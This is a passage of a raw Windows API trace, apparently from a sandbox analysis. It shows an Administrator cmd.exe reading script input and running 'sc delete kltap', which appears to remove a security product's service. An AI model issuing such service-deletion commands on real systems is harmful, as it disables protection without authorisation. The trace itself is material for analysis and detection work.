lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.200] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.200] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.200] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.200] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.200] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.200] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.200] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.200] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"KSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.200] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.200] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.200] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.200] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="kKSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.200] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.200] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.200] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.200] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lSDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.200] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.200] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.200] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.200] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="tDE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.200] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.200] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.201] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.201] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="aE1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.201] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.201] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.201] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.201] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="p1.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.201] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.201] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.201] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.201] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.201] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.201] GetFileType (hFile=0xb8) returned 0x3 [0073.201] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.201] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.201] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.201] GetFileType (hFile=0x120) returned 0x3 [0073.201] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete kltap\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete kltap\n", lpUsedDefaultChar=0x0) returned 17 [0073.201] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x10, lpOverlapped=0x0) returned 1 [0073.201] GetProcessHeap () returned 0x4a0000 [0073.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.201] GetProcessHeap () returned 0x4a0000 [0073.201] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.202] GetProcessHeap () returned 0x4a0000 [0073.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.202] GetProcessHeap () returned 0x4a0000 [0073.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.202] GetProcessHeap () returned 0x4a0000 [0073.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2c) returned 0x4b6510 [0073.202] GetConsoleOutputCP () returned 0x1b5 [0073.202] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.202] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.202] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.202] GetProcessHeap () returned 0x4a0000 [0073.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.202] GetProcessHeap () returned 0x4a0000 [0073.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6550 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0073.203] SetErrorMode (uMode=0x0) returned 0x1 [0073.203] SetErrorMode (uMode=0x1) returned 0x0 [0073.203] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.203] SetErrorMode (uMode=0x1) returned 0x1 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0073.203] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.203] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.203] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.203] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.203] GetProcessHeap () returned 0x4a0000 [0073.204] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.204] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.204] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.204] GetLastError () returned 0x2 [0073.204] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.204] GetLastError () returned 0x2 [0073.204] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.204] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.204] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.205] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.205] GetLastError () returned 0x2 [0073.205] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.205] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.205] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.205] GetProcessHeap () returned 0x4a0000 [0073.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.205] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.205] GetProcessHeap () returned 0x4a0000 [0073.205] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x98) returned 0x4b9180 [0073.205] GetProcessHeap () returned 0x4a0000 [0073.205] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x98 [0073.205] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete kltap") returned 1 [0073.206] GetProcessHeap () returned 0x4a0000 [0073.206] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.206] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.206] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.206] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.206] GetProcessHeap () returned 0x4a0000 [0073.206] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.206] GetProcessHeap () returned 0x4a0000 [0073.206] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.206] GetProcessHeap () returned 0x4a0000 [0073.206] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.207] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete kltap", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete kltap", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete kltap", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xadc, dwThreadId=0xb08)) returned 1 [0073.211] CloseHandle (hObject=0x54) returned 1 [0073.211] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.211] GetProcessHeap () returned 0x4a0000 [0073.211] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.212] GetEnvironmentStringsW () returned 0x4c1b10* [0073.212] GetProcessHeap () returned 0x4a0000 [0073.212] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.212] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.212] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.212] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.212] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0073.272] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.272] CloseHandle (hObject=0x50) returned 1 [0073.272] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.272] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.272] GetProcessHeap () returned 0x4a0000 [0073.272] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.272] GetEnvironmentStringsW () returned 0x4c1b10* [0073.272] GetProcessHeap () returned 0x4a0000 [0073.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.272] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.272] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.272] GetProcessHeap () returned 0x4a0000 [0073.272] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.272] GetEnvironmentStringsW () returned 0x4c1b10* [0073.272] GetProcessHeap () returned 0x4a0000 [0073.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.273] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.273] GetProcessHeap () returned 0x4a0000 [0073.273] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.273] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.273] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.273] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.273] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.273] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.273] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.273] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.273] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.273] GetConsoleOutputCP () returned 0x1b5 [0073.274] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.274] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.274] GetProcessHeap () returned 0x4a0000 [0073.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.274] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.274] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.274] GetFileType (hFile=0x120) returned 0x3 [0073.274] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.274] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.274] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.275] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.275] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.275] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.275] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.275] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.275] GetFileType (hFile=0x120) returned 0x3 [0073.275] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.275] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.275] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.275] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.275] GetFileType (hFile=0xb8) returned 0x3 [0073.275] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.275] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.275] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.275] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.275] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.275] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.275] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.275] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.275] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete kltap\n.0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0073.275] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.275] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.276] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, 